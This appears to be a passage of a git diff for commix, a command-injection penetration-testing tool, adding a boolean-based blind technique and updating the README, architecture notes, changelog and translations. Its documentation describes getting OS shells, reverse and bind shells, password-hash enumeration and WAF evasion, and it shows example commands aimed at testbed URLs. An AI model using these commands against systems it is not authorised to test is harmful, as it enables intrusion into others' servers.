doc/translations/README-idn-IDN.md | 18 +- doc/translations/README-tr-TR.md | 18 +- src/core/controller/checks.py | 244 +++++++++++++++++- src/core/controller/controller.py | 41 ++- src/core/controller/enumeration.py | 3 + src/core/controller/execution.py | 8 +- src/core/controller/file_access.py | 2 +- src/core/controller/handler.py | 181 ++++++++++++- src/core/controller/injector.py | 27 +- src/core/eval/grammars/php.py | 5 + src/core/eval/grammars/python.py | 8 + src/core/eval/payloads/boolean_based.py | 66 +++++ src/core/main.py | 2 +- src/core/modules/shellshock/shellshock.py | 84 ++++++ src/core/options.py | 47 ++++ src/core/parse/cmdline.py | 26 ++ .../{classic => boolean_based}/__init__.py | 0 .../techniques/boolean_based/bb_handler.py | 202 +++++++++++++++ .../techniques/boolean_based/bb_injector.py | 76 ++++++ .../techniques/boolean_based/bb_payloads.py | 176 +++++++++++++ src/core/techniques/results_based/__init__.py | 18 ++ .../rb_handler.py} | 4 +- .../rb_injector.py} | 0 .../rb_payloads.py} | 0 src/utils/session_handler.py | 42 ++- src/utils/settings.py | 66 ++++- 33 files changed, 1325 insertions(+), 142 deletions(-) create mode 100644 src/core/eval/payloads/boolean_based.py rename src/core/techniques/{classic => boolean_based}/__init__.py (100%) create mode 100644 src/core/techniques/boolean_based/bb_handler.py create mode 100644 src/core/techniques/boolean_based/bb_injector.py create mode 100644 src/core/techniques/boolean_based/bb_payloads.py create mode 100644 src/core/techniques/results_based/__init__.py rename src/core/techniques/{classic/cb_handler.py => results_based/rb_handler.py} (88%) rename src/core/techniques/{classic/cb_injector.py => results_based/rb_injector.py} (100%) rename src/core/techniques/{classic/cb_payloads.py => results_based/rb_payloads.py} (100%) diff --git a/README.md b/README.md index 3535676315..12a27afa5a 100644 --- a/README.md +++ b/README.md @@ -33,12 +33,10 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c ## Features -* **Four injection techniques** - results-based (classic), time-based (blind), file-based (blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. Selected with `--technique`, or by the type they report with `--type`. +* **Five injection techniques** - results-based (classic), boolean-based (blind, reading the answer off the page), time-based (blind), file-based (blind, with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. Selected with `--technique`, or by the type they report with `--type`. * **Code injection** - `--eval` tests the string a target evaluates as code, in PHP or Python, over the same four techniques. * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. -* **Interactive shells** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, and file `download`/`upload` over the established shell. -* **Proof of exploitation** - `--proof` re-proves every finding with an experiment of its own and writes the transcript beside the run's output, and `--parse-errors` reports the shell's own error messages where a payload reached a shell but was not understood. -* **Enumeration and file access** - current user, hostname, privileges, system information, users and password hashes; read from and write to files on the target host. +* **Interactive shells and post-exploitation** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, file `download`/`upload` over the established shell, and enumeration of the current user, hostname, privileges, system information, users and password hashes. Every finding can be re-proved with `--proof`, which runs an experiment of its own and writes the transcript beside the run's output. * **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. * **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. * **Resumable scans and machine-readable output** - results are stored per target in a session file, and can be exported as JSON, as a CSV covering every target tested, or as a HAR log of the run's HTTP traffic. The options a run was given can be saved as a profile and reused. @@ -66,11 +64,11 @@ To get a list of all options and switches use: Test a single injectable parameter, then drop into a shell on the target : - $ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell Prove execution out-of-band, where the response carries nothing back : - $ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob > [!NOTE] > Out-of-band (OAST) detection with `--oob` uses the public `oast.fun` interactsh server by default, diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md index 4eb3cf3ff2..e82da4adaa 100644 --- a/doc/ARCHITECTURE.md +++ b/doc/ARCHITECTURE.md @@ -61,21 +61,25 @@ understand any of them: | Technique | Package | Asked for with | Where the answer is read | |-----------|---------|----------------|--------------------------| -| results-based | `techniques/classic/` | `--technique=r` | the page | +| results-based | `techniques/results_based/` | `--technique=r` | the page | | dynamic code evaluation | `eval/` | `--eval=<language>` | the page | +| boolean-based | `techniques/boolean_based/` | `--technique=b` | which of two pages the answer resembles | | time-based | `techniques/time_based/` | `--technique=t` | how long the answer took | | file-based | `techniques/file_based/` | `--technique=f` | a file under the web root | | tempfile-based | `techniques/tempfile_based/` | under `f`, where the web root cannot be written | a file in a temporary directory | | out-of-band | `techniques/oob/` | `--oob` | a request the target makes to a server you control | -`AVAILABLE_TECHNIQUES` is `r`, `t`, `f` and nothing else. Out-of-band is kept out of it on purpose: -it is a switch, so that the modules can use it too, and those never go through `--technique`. The -evaluator composes with the three letters rather than replacing them - `EVAL_TECHNIQUE_LETTER` is -what it went by before `--eval` existed, kept so that stored sessions still read. +`AVAILABLE_TECHNIQUES` is `r`, `b`, `t`, `f` and nothing else. Out-of-band is kept out of it on +purpose: it is a switch, so that the modules can use it too, and those never go through +`--technique`. The evaluator composes with the four letters rather than replacing them - +`EVAL_TECHNIQUE_LETTER` is what it went by before `--eval` existed, kept so that stored sessions +still read, and `c` is what results-based was called before it was renamed. -The three blind techniques retrieve a character at a time and bisect on its ordinal. The payload +Every blind technique retrieves a character at a time and bisects on its ordinal. The payload therefore asks a yes/no question, and the technique's own channel - a delay, a file, a request made -elsewhere - carries the yes. +elsewhere, the page itself - carries the yes. Only the boolean-based one pays nothing for asking, +which is also why it alone can overlap its requests: nothing is being measured, so `--threads` +speeds it up where it would corrupt a technique reading the clock. ## Building the payload diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4ffe6826a8..fd54b0cd36 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New boolean-based blind injection technique, reading its answer off the page rather than off a delay, with `--string`, `--not-string`, `--regexp` and `--code` for saying what a true answer looks like. * Added: New switches `--mine-params` and `--mine-endpoints` for finding the parameters a target reads but names nowhere, and the endpoints only its own scripts name. * Added: New tamper script `phpserverheaders.py` that moves the function and the command out of the payload and into HTTP headers it reads back through `$_SERVER`. * Added: New options `--preprocess` and `--postprocess` for reshaping a request before it is sent and a response before the run reads it, which a tamper script cannot reach. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 1ba0534175..7523935114 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -9,10 +9,10 @@ </div> <p align="center"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://img.shields.io/github/actions/workflow/status/commixproject/commix/builds.yml?branch=master&label=Builds%20Tests&style=for-the-badge&logo=githubactions&logoColor=white"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/Python-3.7%2B-3776AB.svg?style=for-the-badge&logo=python&logoColor=white"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/License-GPLv3-6A1B9A.svg?style=for-the-badge&logo=gnu&logoColor=white"></a> + <a href="https://x.com/commixproject"><img alt="Follow @commixproject" src="https://img.shields.io/badge/Follow-@commixproject-000000.svg?style=for-the-badge&logo=x&logoColor=white"></a> </p> **Commix** (abreviatura de [**comm**]and [**i**]njection e[**x**]ploiter) es una herramienta de pruebas de penetración de código abierto, escrita por **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), que automatiza la detección y explotación de vulnerabilidades de tipo **[command](https://owasp.org/www-community/attacks/Command_Injection)** (y **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection. @@ -34,12 +34,10 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi ## Características -* **Cuatro técnicas de inyección** - classic (basada en resultados), time-based (a ciegas), file-based (a ciegas, con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. +* **Cinco técnicas de inyección** - classic (basada en resultados), boolean-based (a ciegas, leyendo la respuesta en la página), time-based (a ciegas), file-based (a ciegas, con una variante tempfile-based para objetivos con escritura restringida) y out-of-band (OAST) sobre HTTP/S y DNS. * **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP o Python, con las mismas cuatro técnicas. * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. -* **Shells interactivas** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, y transferencia de archivos (`download`/`upload`) a través de la shell establecida. -* **Prueba de explotación** - `--proof` vuelve a demostrar cada hallazgo con un experimento propio y escribe la transcripción junto a la salida del análisis, y `--parse-errors` informa de los mensajes de error del propio shell cuando una carga útil llegó a un shell pero no fue comprendida. -* **Enumeración y acceso a archivos** - usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas; lectura y escritura de archivos en el objetivo. +* **Shells interactivas y post-explotación** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, transferencia de archivos (`download`/`upload`) a través de la shell establecida, y enumeración del usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas. Cada hallazgo puede volver a demostrarse con `--proof`, que ejecuta un experimento propio y escribe la transcripción junto a la salida del análisis. * **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. * **Objetivos flexibles** - una única URL, un rastreo del sitio, formularios HTML, un sitemap, un registro de proxy, un archivo con varios objetivos, un archivo con una petición HTTP en bruto o entrada por `stdin`. * **Análisis reanudables y salida legible por máquina** - los resultados se almacenan por objetivo en un archivo de sesión y pueden exportarse como JSON, como un CSV que abarca todos los objetivos analizados, o como un registro HAR del tráfico HTTP del análisis. Las opciones con las que se ejecutó un análisis pueden guardarse como perfil y reutilizarse. @@ -71,13 +69,13 @@ $ python3 commix.py -h Probar un único parámetro inyectable y abrir una shell en el objetivo: ``` -$ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell +$ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell ``` Demostrar la ejecución fuera de banda, cuando la respuesta no devuelve nada: ``` -$ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob +$ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob ``` > [!NOTE] diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 713fada3b1..0b58746f5a 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -9,12 +9,11 @@ </div> <p align="center"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://img.shields.io/github/actions/workflow/status/commixproject/commix/builds.yml?branch=master&label=Builds%20Tests&style=for-the-badge&logo=githubactions&logoColor=white"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/Python-3.7%2B-3776AB.svg?style=for-the-badge&logo=python&logoColor=white"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/License-GPLv3-6A1B9A.svg?style=for-the-badge&logo=gnu&logoColor=white"></a> + <a href="https://x.com/commixproject"><img alt="Follow @commixproject" src="https://img.shields.io/badge/Follow-@commixproject-000000.svg?style=for-the-badge&logo=x&logoColor=white"></a> </p> - **کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند](https://owasp.org/www-community/attacks/Command_Injection)** (و **[کد](https://owasp.org/www-community/attacks/Code_Injection)**) اینجکشن را خودکار می‌کند. @@ -34,12 +33,10 @@ ## ویژگی‌ها -* **چهار تکنیک تزریق** - classic (مبتنی بر نتیجه)، time-based (کور)، file-based (کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. +* **پنج تکنیک تزریق** - classic (مبتنی بر نتیجه)، boolean-based (کور، با خواندن پاسخ از صفحه)، time-based (کور)، file-based (کور، به همراه گونه tempfile-based برای هدف‌هایی با محدودیت نوشتن) و out-of-band (OAST) روی HTTP/S و DNS. * **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP یا Python و با همان چهار تکنیک آزمایش می‌کند. * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. -* **پوسته‌های تعاملی** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، و انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده. -* **اثبات بهره‌برداری** - `--proof` هر یافته را با آزمایشی از آنِ خود دوباره اثبات می‌کند و رونوشت آن را کنار خروجی اجرا می‌نویسد، و `--parse-errors` پیام‌های خطای خودِ پوسته را گزارش می‌دهد، جایی که یک بار مخرب به پوسته رسیده اما فهمیده نشده است. -* **شمارش و دسترسی به فایل** - کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها؛ خواندن و نوشتن فایل روی هدف. +* **پوسته‌های تعاملی و پس از بهره‌برداری** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده، و شمارش کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها. هر یافته را می‌توان با `--proof` دوباره اثبات کرد، که آزمایشی از آنِ خود اجرا می‌کند و رونوشت آن را کنار خروجی اجرا می‌نویسد. * **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. * **هدف‌گذاری انعطاف‌پذیر** - یک URL، پویش سایت، فرم‌های HTML، sitemap، گزارش پروکسی، فایل چندهدفی، فایل درخواست خام HTTP یا ورودی `stdin`. * **پویش‌های قابل ازسرگیری و خروجی ماشین‌خوان** - نتایج به تفکیک هدف در یک فایل نشست ذخیره می‌شوند و می‌توان آن‌ها را به‌صورت JSON، به‌صورت یک CSV دربرگیرندهٔ همهٔ هدف‌های آزموده‌شده، یا به‌صورت یک گزارش HAR از ترافیک HTTP اجرا خروجی گرفت. گزینه‌هایی که یک اجرا با آن‌ها انجام شده است را می‌توان به‌عنوان نمایه ذخیره و دوباره استفاده کرد. @@ -67,11 +64,11 @@ آزمودن یک پارامتر آسیب‌پذیر و سپس گرفتن پوسته روی هدف: - $ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell اثبات اجرا به روش خارج از باند، هنگامی که پاسخ چیزی برنمی‌گرداند: - $ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob > [!NOTE] > شناسایی خارج از باند (OAST) با `--oob` به‌صورت پیش‌فرض از سرور عمومی interactsh با نشانی diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 16ec6cbdbd..1290601176 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -9,10 +9,10 @@ </div> <p align="center"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://img.shields.io/github/actions/workflow/status/commixproject/commix/builds.yml?branch=master&label=Builds%20Tests&style=for-the-badge&logo=githubactions&logoColor=white"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/Python-3.7%2B-3776AB.svg?style=for-the-badge&logo=python&logoColor=white"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/License-GPLv3-6A1B9A.svg?style=for-the-badge&logo=gnu&logoColor=white"></a> + <a href="https://x.com/commixproject"><img alt="Follow @commixproject" src="https://img.shields.io/badge/Follow-@commixproject-000000.svg?style=for-the-badge&logo=x&logoColor=white"></a> </p> **Commix** (abréviation de [**comm**]and [**i**]njection e[**x**]ploiter) est un outil open source de test d'intrusion, écrit par [**Anastasios Stasinopoulos**](https://github.com/stasinopoulos) ([**@ancst**](https://x.com/ancst)), qui automatise la détection et l'exploitation des vulnérabilités de type [**command**](https://owasp.org/www-community/attacks/Command_Injection) (et [**code**](https://owasp.org/www-community/attacks/Code_Injection)) injection. @@ -34,12 +34,10 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co ## Fonctionnalités -* **Quatre techniques d'injection** - classic (basée sur les résultats), time-based (à l'aveugle), file-based (à l'aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. +* **Cinq techniques d'injection** - classic (basée sur les résultats), boolean-based (à l'aveugle, en lisant la réponse sur la page), time-based (à l'aveugle), file-based (à l'aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. * **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP ou Python, avec les quatre mêmes techniques. * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. -* **Shells interactifs** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, et le transfert de fichiers (`download`/`upload`) via le shell établi. -* **Preuve d'exploitation** - `--proof` prouve à nouveau chaque découverte au moyen d'une expérience qui lui est propre et écrit la transcription à côté de la sortie de l'analyse, et `--parse-errors` rapporte les messages d'erreur du shell lui-même lorsqu'une charge utile a atteint un shell sans y être comprise. -* **Énumération et accès aux fichiers** - utilisateur courant, nom d'hôte, privilèges, informations système, utilisateurs et empreintes de mots de passe ; lecture et écriture de fichiers sur la cible. +* **Shells interactifs et post-exploitation** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, le transfert de fichiers (`download`/`upload`) via le shell établi, et l'énumération de l'utilisateur courant, du nom d'hôte, des privilèges, des informations système, des utilisateurs et des empreintes de mots de passe. Chaque découverte peut être prouvée à nouveau avec `--proof`, qui mène une expérience qui lui est propre et écrit la transcription à côté de la sortie de l'analyse. * **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. * **Ciblage flexible** - une URL unique, une exploration du site, des formulaires HTML, un sitemap, un journal de proxy, un fichier de cibles multiples, un fichier de requête HTTP brute ou une entrée `stdin`. * **Analyses reprenables et sortie exploitable par machine** - les résultats sont stockés par cible dans un fichier de session et peuvent être exportés en JSON, sous forme de CSV couvrant toutes les cibles testées, ou sous forme de journal HAR du trafic HTTP de l'analyse. Les options fournies à une analyse peuvent être enregistrées comme profil et réutilisées. @@ -71,13 +69,13 @@ $ python3 commix.py -h Tester un seul paramètre injectable, puis ouvrir un shell sur la cible : ``` -$ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell +$ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell ``` Prouver l'exécution hors bande, lorsque la réponse ne renvoie rien : ``` -$ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob +$ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob ``` > [!NOTE] diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 04de762d6f..e48c9cb557 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -9,12 +9,11 @@ </div> <p align="center"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://img.shields.io/github/actions/workflow/status/commixproject/commix/builds.yml?branch=master&label=Builds%20Tests&style=for-the-badge&logo=githubactions&logoColor=white"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/Python-3.7%2B-3776AB.svg?style=for-the-badge&logo=python&logoColor=white"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/License-GPLv3-6A1B9A.svg?style=for-the-badge&logo=gnu&logoColor=white"></a> + <a href="https://x.com/commixproject"><img alt="Follow @commixproject" src="https://img.shields.io/badge/Follow-@commixproject-000000.svg?style=for-the-badge&logo=x&logoColor=white"></a> </p> - To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command](https://owasp.org/www-community/attacks/Command_Injection)** (και **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection. ![Screenshot](https://commixproject.com/images/background.png) @@ -34,12 +33,10 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] ## Χαρακτηριστικά -* **Τέσσερις τεχνικές injection** – results-based (classic), time-based (blind), file-based (blind, με παραλλαγή βασισμένη σε προσωρινό αρχείο για targets με περιορισμούς εγγραφής) και out-of-band (OAST) μέσω HTTP/S και DNS. Επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type`. +* **Πέντε τεχνικές injection** – results-based (classic), boolean-based (blind, με την απάντηση να διαβάζεται από τη σελίδα), time-based (blind), file-based (blind, με παραλλαγή βασισμένη σε προσωρινό αρχείο για targets με περιορισμούς εγγραφής) και out-of-band (OAST) μέσω HTTP/S και DNS. Επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type`. * **Code injection** – το `--eval` ελέγχει strings που εκτελούνται ως κώδικας από το target, σε PHP ή Python, χρησιμοποιώντας τις ίδιες τέσσερις τεχνικές. * **Ευρεία κάλυψη injection επιφανειών** – GET/POST parameters, HTTP headers, cookies και JSON/XML request bodies, καθώς και το `shellshock` module για CGI targets. -* **Interactive shells** – `os_shell` στο target, ενσωματωμένα modes `reverse_tcp` και `bind_tcp`, καθώς και `download`/`upload` αρχείων μέσω του established shell. -* **Απόδειξη εκμετάλλευσης** – το `--proof` επαληθεύει εκ νέου κάθε εύρημα με δικό του πείραμα και αποθηκεύει το transcript δίπλα στο output του run. Το `--parse-errors` εμφανίζει τα error messages του shell όταν ένα payload έφτασε στο shell αλλά δεν έγινε κατανοητό. -* **Enumeration και πρόσβαση σε αρχεία** – current user, hostname, privileges, system information, users και password hashes, καθώς και ανάγνωση και εγγραφή αρχείων στο target host. +* **Interactive shells και post-exploitation** – `os_shell` στο target, ενσωματωμένα modes `reverse_tcp` και `bind_tcp`, `download`/`upload` αρχείων μέσω του established shell, καθώς και enumeration για current user, hostname, privileges, system information, users και password hashes. Κάθε εύρημα μπορεί να επαληθευτεί εκ νέου με το `--proof`, το οποίο εκτελεί δικό του πείραμα και αποθηκεύει το transcript δίπλα στο output του run. * **Filter και WAF evasion** – πολλαπλά συνδυάσιμα tamper scripts, τα οποία εφαρμόζονται με deterministic σειρά. * **Ευέλικτο targeting** – υποστήριξη για single URL, crawl, HTML forms, sitemap, proxy log, bulk file, raw HTTP request file ή δεδομένα μέσω piped `stdin`. * **Resumable scans και machine-readable output** – τα αποτελέσματα αποθηκεύονται ανά target σε session file και μπορούν να εξαχθούν σε JSON, CSV που περιλαμβάνει όλα τα tested targets ή HAR log με το HTTP traffic του run. Οι επιλογές ενός run μπορούν επίσης να αποθηκευτούν ως profile και να επαναχρησιμοποιηθούν. @@ -68,11 +65,11 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] Έλεγχος μιας ευπαθούς παραμέτρου και άμεση πρόσβαση σε κέλυφος στον στόχο : - $ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell Απόδειξη εκτέλεσης εκτός ζώνης, όταν η απόκριση δεν επιστρέφει τίποτα : - $ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob > [!NOTE] > Η ανίχνευση εκτός ζώνης (OAST) με την επιλογή `--oob` χρησιμοποιεί από προεπιλογή τον δημόσιο diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 5c9e02e178..bc7311b6b0 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -9,10 +9,10 @@ </div> <p align="center"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://img.shields.io/github/actions/workflow/status/commixproject/commix/builds.yml?branch=master&label=Builds%20Tests&style=for-the-badge&logo=githubactions&logoColor=white"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/Python-3.7%2B-3776AB.svg?style=for-the-badge&logo=python&logoColor=white"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/License-GPLv3-6A1B9A.svg?style=for-the-badge&logo=gnu&logoColor=white"></a> + <a href="https://x.com/commixproject"><img alt="Follow @commixproject" src="https://img.shields.io/badge/Follow-@commixproject-000000.svg?style=for-the-badge&logo=x&logoColor=white"></a> </p> **Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command](https://owasp.org/www-community/attacks/Command_Injection)** (dan **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection. @@ -34,12 +34,10 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp ## Fitur -* **Empat teknik injeksi** - classic (berbasis 